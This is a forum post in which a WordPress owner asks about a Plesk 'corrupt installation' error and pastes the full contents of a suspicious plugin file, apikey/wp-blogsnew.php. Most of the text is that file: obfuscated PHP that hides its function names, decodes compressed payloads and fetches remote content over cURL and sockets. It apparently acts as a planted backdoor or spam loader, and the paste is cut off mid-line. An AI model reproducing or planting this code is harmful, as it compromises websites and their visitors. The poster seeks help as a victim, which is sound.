0

I have a wordpress website hosted in Plesk. I last looked at it a couple of weeks ago and all was well. I tried to go in yesterday and Plesk is telling me the wordpress installation is corrupt. It prompts me to do a wordpress install but then tells me Wordpress is already there if I do press the button.

The website still appears to be functioning.

Clicking around the Plesk panel I managed to get this error message

Warning: Unable to configure "WordPress". The following problems were found: Non-zero exit status returned by script. Output stream: 'PHP Fatal error: Uncaught Error: Function name must be a string in /var/www/vhosts/example.com/httpdocs/wp-content/plugins/apikey/wp-blogsnew.php:3 Stack trace: #0 /var/www/vhosts/example.com/httpdocs/wp-includes/version.php(1): include_once() #1 /var/www/vhosts/example.com/httpdocs/wp-settings.php(29): require('/var/www/vhosts...') #2 /var/www/vhosts/example.com/httpdocs/wp-config.php(94): require_once('/var/www/vhosts...') #3 /usr/local/psa/var/apspackages/apscatalog2LBz34.zip340bd6d5-280f-16/cache/scripts/configure(17): require_once('/var/www/vhosts...') #4 /usr/local/psa/var/apspackages/apscatalog2LBz34.zip340bd6d5-280f-16/cache/scripts/configure(183): update_user(Array, '/var/www/vhosts...') #5 {main} thrown in /var/www/vhosts/example.com/httpdocs/wp-content/plugins/apikey/wp-blogsnew.php on line 3 '. Error stream: 'PHP Fatal error: Uncaught Error: Function name must be a string in /var/www/vhosts/example.com/httpdocs/wp-content/plugins/apikey/wp-blogsnew.php:3 Stack trace: #0 /var/www/vhosts/example.com/httpdocs/wp-includes/version.php(1): include_once() #1 /var/www/vhosts/example.com/httpdocs/wp-settings.php(29): require('/var/www/vhosts...') #2 /var/www/vhosts/example.com/httpdocs/wp-config.php(94): require_once('/var/www/vhosts...') #3 /usr/local/psa/var/apspackages/apscatalog2LBz34.zip340bd6d5-280f-16/cache/scripts/configure(17): require_once('/var/www/vhosts...') #4 /usr/local/psa/var/apspackages/apscatalog2LBz34.zip340bd6d5-280f-16/cache/scripts/configure(183): update_user(Array, '/var/www/vhosts...') #5 {main} thrown in /var/www/vhosts/example.com/httpdocs/wp-content/plugins/apikey/wp-blogsnew.php on line 3 '.

I deleted the contents of wp_blogsnew.php and this didn't help s I pasted it back in and I now get

PHP Fatal error: Uncaught Error: Function name must be a string in /var/www/vhosts/bathswordclub.co.uk/httpdocs/wp-content/plugins/apikey/wp-blogsnew.php:3\nStack trace:\n#0 /var/www/vhosts/bathswordclub.co.uk/httpdocs/wp-includes/version.php(1): include_once()\n#1 /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/php/WP_CLI/Runner.php(779): include(\'/var/www/vhosts...\')\n#2 /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/php/WP_CLI/Runner.php(1058): WP_CLI\Runner-\x3Echeck_wp_version()\n#3 /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/php/WP_CLI/Bootstrap/LaunchRunner.php(23): WP_CLI\Runner-\x3Estart()\n#4 /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/php/bootstrap.php(75): WP_CLI\Bootstrap\LaunchRunner-\x3Eprocess(Object(WP_CLI\Bootstrap\BootstrapState))\n#5 /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/php/wp-cli.php(23): WP_CLI\bootstrap()\n#6 /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/php/boot-fs.php(24): include_once(\'/us in /var/www/vhosts/bathswordclub.co.uk/httpdocs/wp-content/plugins/apikey/wp-blogsnew.php on line 3\n

I tried removing the apikey folder but this didn't help so I put it back.

Apologies I don't do any php and this file seems to be encrypted (corrupted ?) or something ? I'll be honest I've just messed about for 20 or 30 mins so far but I wondered if anyone had any suggestions as I don't believe I've changed anything to do with this plug in and I'm not sure if something has gone out of date, become corrupted or if I've been hacked ? It's so far down the file system I'm not convinced I've been a victim of my own fat fingers... I guess I could have done something through the dashboard though ?

Apologies if this is a little unhelpful, I'm replying to the comment and this is the complete contents of the wp-blogsnew.php -

<?php
$O_00O__0OO='';
$OOO___0O00=("9ugpq5as1nxb-kh4imrv8y0lczef63wjdot2_7");$O_O0O__00O=$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{18}.$OOO___0O00{26}.$OOO___0O00{6}.$OOO___0O00{17}.$OOO___0O00{36}.$OOO___0O00{7}.$OOO___0O00{33}.$OOO___0O00{24}.$OOO___0O00{13}.$OOO___0O00{26}.$OOO___0O00{34}.$OOO___0O00{36}.$OOO___0O00{24}.$OOO___0O00{23}.$OOO___0O00{16}.$OOO___0O00{26}.$OOO___0O00{9}.$OOO___0O00{34};$O00__OO_O0=$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{18}.$OOO___0O00{26}.$OOO___0O00{6}.$OOO___0O00{17}.$OOO___0O00{36}.$OOO___0O00{2}.$OOO___0O00{26}.$OOO___0O00{34}.$OOO___0O00{36}.$OOO___0O00{17}.$OOO___0O00{26}.$OOO___0O00{34}.$OOO___0O00{6}.$OOO___0O00{36}.$OOO___0O00{32}.$OOO___0O00{6}.$OOO___0O00{34}.$OOO___0O00{6};$OO0O0_0_O_=$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{18}.$OOO___0O00{26}.$OOO___0O00{6}.$OOO___0O00{17}.$OOO___0O00{36}.$OOO___0O00{7}.$OOO___0O00{26}.$OOO___0O00{34}.$OOO___0O00{36}.$OOO___0O00{11}.$OOO___0O00{23}.$OOO___0O00{33}.$OOO___0O00{24}.$OOO___0O00{13}.$OOO___0O00{16}.$OOO___0O00{9}.$OOO___0O00{2};$O0O_00OO__=$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{18}.$OOO___0O00{26}.$OOO___0O00{6}.$OOO___0O00{17}.$OOO___0O00{36}.$OOO___0O00{7}.$OOO___0O00{26}.$OOO___0O00{34}.$OOO___0O00{36}.$OOO___0O00{34}.$OOO___0O00{16}.$OOO___0O00{17}.$OOO___0O00{26}.$OOO___0O00{33}.$OOO___0O00{1}.$OOO___0O00{34};$OO_00_O_O0=$OOO___0O00{27}.$OOO___0O00{16}.$OOO___0O00{23}.$OOO___0O00{26}.$OOO___0O00{36}.$OOO___0O00{3}.$OOO___0O00{1}.$OOO___0O00{34}.$OOO___0O00{36}.$OOO___0O00{24}.$OOO___0O00{33}.$OOO___0O00{9}.$OOO___0O00{34}.$OOO___0O00{26}.$OOO___0O00{9}.$OOO___0O00{34}.$OOO___0O00{7};$OO__00O_O0=$OOO___0O00{27}.$OOO___0O00{16}.$OOO___0O00{23}.$OOO___0O00{26}.$OOO___0O00{36}.$OOO___0O00{2}.$OOO___0O00{26}.$OOO___0O00{34}.$OOO___0O00{36}.$OOO___0O00{24}.$OOO___0O00{33}.$OOO___0O00{9}.$OOO___0O00{34}.$OOO___0O00{26}.$OOO___0O00{9}.$OOO___0O00{34}.$OOO___0O00{7};$OOO0__00O_=$OOO___0O00{27}.$OOO___0O00{1}.$OOO___0O00{9}.$OOO___0O00{24}.$OOO___0O00{34}.$OOO___0O00{16}.$OOO___0O00{33}.$OOO___0O00{9}.$OOO___0O00{36}.$OOO___0O00{26}.$OOO___0O00{10}.$OOO___0O00{16}.$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{7};$O_O__000OO=$OOO___0O00{26}.$OOO___0O00{18}.$OOO___0O00{18}.$OOO___0O00{33}.$OOO___0O00{18}.$OOO___0O00{36}.$OOO___0O00{18}.$OOO___0O00{26}.$OOO___0O00{3}.$OOO___0O00{33}.$OOO___0O00{18}.$OOO___0O00{34}.$OOO___0O00{16}.$OOO___0O00{9}.$OOO___0O00{2};$OOOO_00_0_=$OOO___0O00{24}.$OOO___0O00{18}.$OOO___0O00{26}.$OOO___0O00{6}.$OOO___0O00{34}.$OOO___0O00{26}.$OOO___0O00{36}.$OOO___0O00{27}.$OOO___0O00{1}.$OOO___0O00{9}.$OOO___0O00{24}.$OOO___0O00{34}.$OOO___0O00{16}.$OOO___0O00{33}.$OOO___0O00{9};$O0__O00O_O=$OOO___0O00{2}.$OOO___0O00{26}.$OOO___0O00{34}.$OOO___0O00{14}.$OOO___0O00{33}.$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{11}.$OOO___0O00{21}.$OOO___0O00{9}.$OOO___0O00{6}.$OOO___0O00{17}.$OOO___0O00{26};$O__00_0OOO=$OOO___0O00{11}.$OOO___0O00{6}.$OOO___0O00{7}.$OOO___0O00{26}.$OOO___0O00{28}.$OOO___0O00{15}.$OOO___0O00{36}.$OOO___0O00{32}.$OOO___0O00{26}.$OOO___0O00{24}.$OOO___0O00{33}.$OOO___0O00{32}.$OOO___0O00{26};$O00_OO_0_O=$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{18}.$OOO___0O00{36}.$OOO___0O00{18}.$OOO___0O00{26}.$OOO___0O00{3}.$OOO___0O00{23}.$OOO___0O00{6}.$OOO___0O00{24}.$OOO___0O00{26};$O0O0_O_O_0=$OOO___0O00{24}.$OOO___0O00{1}.$OOO___0O00{18}.$OOO___0O00{23}.$OOO___0O00{36}.$OOO___0O00{7}.$OOO___0O00{26}.$OOO___0O00{34}.$OOO___0O00{33}.$OOO___0O00{3}.$OOO___0O00{34};$O0_O00O__O=$OOO___0O00{6}.$OOO___0O00{18}.$OOO___0O00{18}.$OOO___0O00{6}.$OOO___0O00{21}.$OOO___0O00{36}.$OOO___0O00{7}.$OOO___0O00{14}.$OOO___0O00{16}.$OOO___0O00{27}.$OOO___0O00{34};$O0O_O_0O0_=$OOO___0O00{3}.$OOO___0O00{18}.$OOO___0O00{26}.$OOO___0O00{2}.$OOO___0O00{36}.$OOO___0O00{17}.$OOO___0O00{6}.$OOO___0O00{34}.$OOO___0O00{24}.$OOO___0O00{14};$O0O__O0_0O=$OOO___0O00{24}.$OOO___0O00{1}.$OOO___0O00{18}.$OOO___0O00{23}.$OOO___0O00{36}.$OOO___0O00{26}.$OOO___0O00{18}.$OOO___0O00{18}.$OOO___0O00{33}.$OOO___0O00{18};$O__000OOO_=$OOO___0O00{24}.$OOO___0O00{1}.$OOO___0O00{18}.$OOO___0O00{23}.$OOO___0O00{36}.$OOO___0O00{24}.$OOO___0O00{23}.$OOO___0O00{33}.$OOO___0O00{7}.$OOO___0O00{26};$OOO0_0_O0_=$OOO___0O00{3}.$OOO___0O00{6}.$OOO___0O00{18}.$OOO___0O00{7}.$OOO___0O00{26}.$OOO___0O00{36}.$OOO___0O00{1}.$OOO___0O00{18}.$OOO___0O00{23};$O_OO__000O=$OOO___0O00{2}.$OOO___0O00{25}.$OOO___0O00{16}.$OOO___0O00{9}.$OOO___0O00{27}.$OOO___0O00{23}.$OOO___0O00{6}.$OOO___0O00{34}.$OOO___0O00{26};$O_O__O00O0=$OOO___0O00{27}.$OOO___0O00{16}.$OOO___0O00{23}.$OOO___0O00{26}.$OOO___0O00{17}.$OOO___0O00{34}.$OOO___0O00{16}.$OOO___0O00{17}.$OOO___0O00{26};$OO_0O00_O_=$OOO___0O00{24}.$OOO___0O00{1}.$OOO___0O00{18}.$OOO___0O00{23}.$OOO___0O00{36}.$OOO___0O00{16}.$OOO___0O00{9}.$OOO___0O00{16}.$OOO___0O00{34};$OO0O__00_O=$OOO___0O00{24}.$OOO___0O00{1}.$OOO___0O00{18}.$OOO___0O00{23}.$OOO___0O00{36}.$OOO___0O00{26}.$OOO___0O00{10}.$OOO___0O00{26}.$OOO___0O00{24};$OO_O_000_O=$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{18}.$OOO___0O00{18}.$OOO___0O00{24}.$OOO___0O00{14}.$OOO___0O00{18};$O0O_0O_0O_=$OOO___0O00{17}.$OOO___0O00{34}.$OOO___0O00{36}.$OOO___0O00{18}.$OOO___0O00{6}.$OOO___0O00{9}.$OOO___0O00{32};$O0O00_O__O=$OOO___0O00{16}.$OOO___0O00{7}.$OOO___0O00{36}.$OOO___0O00{27}.$OOO___0O00{16}.$OOO___0O00{23}.$OOO___0O00{26};$O0O_0O0_O_=$OOO___0O00{16}.$OOO___0O00{17}.$OOO___0O00{3}.$OOO___0O00{23}.$OOO___0O00{33}.$OOO___0O00{32}.$OOO___0O00{26};$O0OO___00O=$OOO___0O00{26}.$OOO___0O00{10}.$OOO___0O00{3}.$OOO___0O00{23}.$OOO___0O00{33}.$OOO___0O00{32}.$OOO___0O00{26};$OOOO_0__00=$OOO___0O00{32}.$OOO___0O00{16}.$OOO___0O00{18}.$OOO___0O00{9}.$OOO___0O00{6}.$OOO___0O00{17}.$OOO___0O00{26};$O__0_OOO00=$OOO___0O00{1}.$OOO___0O00{7}.$OOO___0O00{23}.$OOO___0O00{26}.$OOO___0O00{26}.$OOO___0O00{3};$OO_OO__000=$OOO___0O00{7}.$OOO___0O00{1}.$OOO___0O00{11}.$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{18};$OO_O_O000_=$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{18}.$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{18};$OO__O_O000=$OOO___0O00{7}.$OOO___0O00{34}.$OOO___0O00{18}.$OOO___0O00{23}.$OOO___0O00{26}.$OOO___0O00{9};$OO_O_00O0_=$OOO___0O00{27}.$OOO___0O00{30}.$OOO___0O00{18}.$OOO___0O00{16}.$OOO___0O00{34}.$OOO___0O00{26};$O_0OO_0_O0=$OOO___0O00{27}.$OOO___0O00{24}.$OOO___0O00{23}.$OOO___0O00{33}.$OOO___0O00{7}.$OOO___0O00{26};$O0OO0__0O_=$OOO___0O00{34}.$OOO___0O00{33}.$OOO___0O00{1}.$OOO___0O00{24}.$OOO___0O00{14};$O0O00___OO=$OOO___0O00{27}.$OOO___0O00{18}.$OOO___0O00{26}.$OOO___0O00{6}.$OOO___0O00{32};$O_00_OO_0O=$OOO___0O00{27}.$OOO___0O00{2}.$OOO___0O00{26}.$OOO___0O00{34}.$OOO___0O00{7};$O_O_O_00O0=$OOO___0O00{24}.$OOO___0O00{14}.$OOO___0O00{17}.$OOO___0O00{33}.$OOO___0O00{32};$O0_0OOO_0_=$OOO___0O00{34}.$OOO___0O00{18}.$OOO___0O00{16}.$OOO___0O00{17};$OO_O__00O0=$OOO___0O00{31}.$OOO___0O00{33}.$OOO___0O00{16}.$OOO___0O00{9};$O_0O0_O_0O=$OOO___0O00{27}.$OOO___0O00{26}.$OOO___0O00{33}.$OOO___0O00{27};${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x5f\x30\x30\x30\x4f\x4f"](0);if(!function_exists('str_ireplace')){function str_ireplace($from,$to,$string){return trim(preg_replace("/".addcslashes($from,"?:\\/*^$")."/si",$to,$string));}};$O_0OO0__0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x5f\x30\x30\x5f\x30\x5f"]('$OOO_O_00_0=\'\',$O_0OOO__00=NULL,$O_0_0O_O0O=array()','if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x30\x4f\x30\x5f"]("/^http\\:\\/\\//si",$OOO_O_00_0)){if(isset(${"\x5f\x47\x45\x54"}["\x75\x72\x6c\x65\x63\x63"])){$O00OO0O___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'iy4tyhTkktKsovilXIzCtLzMlMUQCKWKnlJRUtPXWAMA\');$O00OO0O___.=$OOO_O_00_0;echo $O00OO0O___;unset($O00OO0O___);exit();}return \'\';}$OO0O0_0__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'Sy4tyhTonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBtPSJakA\');$O0OO0O___0=$OO_O00O__0=\'\';foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x5f\x30\x30\x4f"](\'|\',$OO0O0_0__O) as $c){$O0_0O_0_OO=1;foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x5f\x30\x30\x4f"](\'+\',$c) as $d){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x5f\x30\x30\x4f\x5f"]($d)){$O0_0O_0_OO=0;}}unset($d);if($O0_0O_0_OO){$O0OO0O___0=$c;break;}}unset($OO0O0_0__O,$c);if($O0OO0O___0==\'\'){return 0;}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x5f\x5f\x30\x30\x30"]($O0OO0O___0,0,1)==\'c\'){$O_OOO_00_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x30\x5f\x4f\x5f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x4f\x5f\x4f\x5f\x30"]($O_OOO_00_0,CURLOPT_URL,$OOO_O_00_0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x4f\x5f\x4f\x5f\x30"]($O_OOO_00_0,CURLOPT_USERAGENT,\'WHR\');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x4f\x5f\x4f\x5f\x30"]($O_OOO_00_0,CURLOPT_RETURNTRANSFER,1);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x4f\x5f\x4f\x5f\x30"]($O_OOO_00_0,CURLOPT_TIMEOUT,100);$O_O_00_O0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x30\x30\x5f\x4f"]($O_OOO_00_0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x30\x4f\x4f\x4f\x5f"]($O_OOO_00_0);if(!$O_O_00_O0O){if(isset(${"\x5f\x47\x45\x54"}["\x63\x75\x72\x6c\x65\x72\x72"])){$O00OO0O___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'i04uLhTcpRSC0qyi+KVctLKi6tPwBgA=\');$O00OO0O___.=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x30\x5f\x30\x4f"]($O_OOO_00_0);echo $O00OO0O___;unset($O00OO0O___);exit();}return 0;}else{$O_O_00_O0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"]($O_O_00_O0O,"\\xEF\\xBB\\xBF"));return $O_O_00_O0O;}}$O__00O_0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x30\x5f\x4f\x30\x5f"]($OOO_O_00_0);isset($O__00O_0OO["\x68\x6f\x73\x74"])||$O__00O_0OO["\x68\x6f\x73\x74"]=\'\';isset($O__00O_0OO["\x4f\x5f\x4f\x4f\x5f\x5f\x4f\x30\x30\x30"])||$O__00O_0OO["\x4f\x5f\x4f\x4f\x5f\x5f\x4f\x30\x30\x30"]=\'\';isset($O__00O_0OO["\x71\x75\x65\x72\x79"])|| $O__00O_0OO["\x71\x75\x65\x72\x79"]=\'\';isset($O__00O_0OO["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x4f\x30\x30"])||$O__00O_0OO["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x4f\x30\x30"]=\'\';$O_0__OOO00=$O__00O_0OO["\x4f\x5f\x4f\x4f\x5f\x5f\x4f\x30\x30\x30"]?$O__00O_0OO["\x4f\x5f\x4f\x4f\x5f\x5f\x4f\x30\x30\x30"].($O__00O_0OO["\x71\x75\x65\x72\x79"]?\'?\'.$O__00O_0OO["\x71\x75\x65\x72\x79"]:\'\'):\'/\';$O___00OOO0=$O__00O_0OO["\x68\x6f\x73\x74"];if($O__00O_0OO["\x73\x63\x68\x65\x6d\x65"]==\'https\'){$O0___OO00O=\'1.1\';$OO0O___O00=empty($O__00O_0OO["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x4f\x30\x30"])?443:$O__00O_0OO["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x4f\x30\x30"];$O___00OOO0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'Ky7OshTdLtPXBwA=\');$O___00OOO0.=$O__00O_0OO["\x68\x6f\x73\x74"];}else{$O0___OO00O=\'1.0\';$OO0O___O00=empty($O__00O_0OO["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x4f\x30\x30"])?80:$O__00O_0OO["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x4f\x30\x30"];}$OOO_00O0__=\'Host:\';$OOO_00O0__.=$O___00OOO0;$O_0_0O_O0O[]=$OOO_00O0__;$O_0_0O_O0O[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'c87PyhT0tNLsnMz7NyzsktPvTgUA\');$O_0_0O_O0O[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'Cy1OLhTdJ1TE/NK7EK9wgtPCAA==\');$O_0_0O_O0O[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'c0xOThTi0osdLtPS1wIA\');unset($OOO_00O0__);$OO_O00O__0="GET $O_0__OOO00 HTTP/$O0___OO00O\\r\\n".${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x5f\x30\x30\x4f\x30"]("\\r\\n",$O_0_0O_O0O)."\\r\\n\\r\\n";unset($O_0_0O_O0O,$O__00O_0OO,$O0___OO00O,$O_0__OOO00);$OO__00O0_O=null;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x5f\x5f\x30\x30\x30"]($O0OO0O___0,-1)==\'n\'){$OO__00O0_O=$O0OO0O___0($O___00OOO0,$OO0O___O00,$O00OO0O___no,$O00OO0O___str,30);}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x5f\x5f\x30\x30\x30"]($O0OO0O___0,-1)==\'t\'){$O_0__0O0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'K0kushTNLtPXBwA=\');$O_0__0O0OO.=$O___00OOO0;$O_0__0O0OO.=\':\';$O_0__0O0OO.=$OO0O___O00;$OO__00O0_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x5f\x5f\x30\x30\x4f"]($O_0__0O0OO,$O00OO0O___no,$O00OO0O___str,30);unset($O_0__0O0OO);}}$O_0__0OOO0=\'\';if($OO__00O0_O){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x30\x5f\x4f\x5f"]($OO__00O0_O,true);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x30\x4f\x4f\x5f\x5f"]($OO__00O0_O,30);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x30\x30\x4f\x30\x5f"]($OO__00O0_O,$OO_O00O__0);$O_OO000_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30"]($OO__00O0_O);if(!$O_OO000_O_["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]){while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x5f\x4f\x5f\x30\x4f"]($OO__00O0_O)){$O0_O__0OO0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x5f\x4f\x4f\x5f\x30\x4f"]($OO__00O0_O);if($O0_O__0OO0&&($O0_O__0OO0=="\\r\\n"||$O0_O__0OO0=="\\n")){break;}unset($O0_O__0OO0);}while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x5f\x4f\x5f\x30\x4f"]($OO__00O0_O)){$O0O__0O_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x5f\x5f\x4f\x4f"]($OO__00O0_O,8192);$O_0__0OOO0.=$O0O__0O_O0;unset($O0O__0O_O0);}}unset($O_OO000_O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x5f\x30\x5f\x4f\x30"]($OO__00O0_O);}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x5f\x5f\x30\x30\x30"]($O0OO0O___0,-1)==\'e\'){$O_O_00O0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x30\x4f\x5f\x4f"]($O___00OOO0);$OO__00O0_O=$O0OO0O___0(AF_INET,SOCK_STREAM,0);if(socket_connect($OO__00O0_O,$O_O_00O0O_,$OO0O___O00)){socket_write($OO__00O0_O,$OO_O00O__0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"]($OO_O00O__0));while($OO0__OO0_0=@socket_read($OO__00O0_O,8192)){$O_0__0OOO0.=$OO0__OO0_0;unset($OO0__OO0_0);}$O_0__0OOO0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x5f\x30\x30\x4f"]("\\r\\n\\r\\n",$O_0__0OOO0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x4f\x5f\x5f\x4f"]($O_0__0OOO0);$O_0__0OOO0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x4f\x30\x5f\x4f\x5f"]("\\r\\n\\r\\n",$O_0__0OOO0);$O0__00OOO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x4f\x5f\x30\x4f\x5f"](2,5);$O0___0OOO0=0;while($O0___0OOO0<$O0__00OOO_){socket_write($OO__00O0_O,$OO_O00O__0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"]($OO_O00O__0));$O0___0OOO0++;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x5f\x4f\x4f\x4f\x30\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x4f\x5f\x30\x4f\x5f"](50000,100000));}unset($O0___0OOO0,$O0__00OOO_);}socket_close($OO__00O0_O);unset($O_O_00O0O_);}}if($O_0__0OOO0==\'\'){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x5f\x30\x30\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x30\x4f\x5f\x4f\x30"]) and $OOO_O_00_0){$O_0__0OOO0=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x30\x4f\x5f\x4f\x30"]($OOO_O_00_0);}}unset($OO_O00O__0,$O0OO0O___0,$OO__00O0_O,$OO0O___O00,$O___00OOO0);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"]($O_0__0OOO0,"\\xEF\\xBB\\xBF"));');$O00_0O__OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x5f\x30\x30\x5f\x30\x5f"]('$O0OO0O___0nbed','$O00_O0OO__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x5f\x5f\x30\x30\x30"]($O0OO0O___0nbed,0,5);$OO__0_0O0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x5f\x5f\x30\x30\x30"]($O0OO0O___0nbed,-5);$O0_O__O00O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x5f\x5f\x30\x30\x30"]($O0OO0O___0nbed,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"]($O0OO0O___0nbed)-14);return 